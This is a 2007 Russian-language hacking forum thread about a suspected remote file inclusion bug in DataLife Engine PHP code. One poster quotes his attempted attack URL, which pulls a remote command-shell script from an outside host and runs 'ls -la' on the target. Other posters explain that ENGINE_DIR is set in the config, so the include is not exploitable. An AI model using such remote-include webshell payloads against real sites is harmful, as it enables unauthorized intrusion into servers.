Inlcude Protection In Data Life Engine

Discussion in 'Уязвимости' started by netadmin, 25 Jan 2007.

  1. netadmin

    netadmin New Member

    Joined:
    28 Sep 2005
    Messages:
    29
    Likes Received:
    3
    Reputations:
    -4
    nu prastite za moi plaxoi ruski no kak magu tak i gavariu :)
    mne problema s skriptam data life engine
    tam est takoi skript
    PHP:
    <?if(!defined('DATALIFEENGINE'))
    {
      die(
    "Hacking attempt!");
    }

    if (isset (
    $_REQUEST['do'])) $do $_REQUEST['do']; else $do "";
    if (isset (
    $_REQUEST['subaction'])) $subaction $_REQUEST['subaction']; else $subaction "";
    if (isset (
    $_REQUEST['doaction'])) $doaction $_REQUEST['doaction']; else $doaction "";

    if (
    $cstart 0$cstart 0;
    $CN_HALT FALSE;

    switch (
    $do) {

        case 
    "search" :
            include 
    ENGINE_DIR.'/modules/search.php';
            break;

        case 
    "comments" :
            include 
    ENGINE_DIR.'/modules/comments.php';
            break;

        case 
    "stats" :
            include 
    ENGINE_DIR.'/modules/stats.php';
            break;
    ?>
    i i padumal shto sdes srabotait include bug
    i posle
    www.site.ru/engine/engine.php?http://hackscripts.by.ru/cmd.txt?&cmd=ls%20-la
    zavoda comandi ano napisal "hack attempt !'
    srabotal chast skripta
    PHP:
    <?if(!defined('DATALIFEENGINE'))
    {
      die(
    "Hacking attempt!");
    }
    shto mojna sdelat ? ktonibud znait ? :mad:
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Где ты тут инклуд баг в коде увидел ?)

    Engine_dir определен в конфиге =)
     
  3. Nekt

    Nekt Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    58
    Likes Received:
    11
    Reputations:
    0
    Наверно вот эта строка include ENGINE_DIR.'/modules/stats.php' :D
    Попался как-то в руки так и не получилось на трех хостах пробовал.
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Я же написал - Engine_dir глобальная переменная, определяется в конфиге.. если вы конечно както удалите конфиг..)))
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    реально зашел на какой-то сайт, там эта строка...Hacking attempt! хек непохек)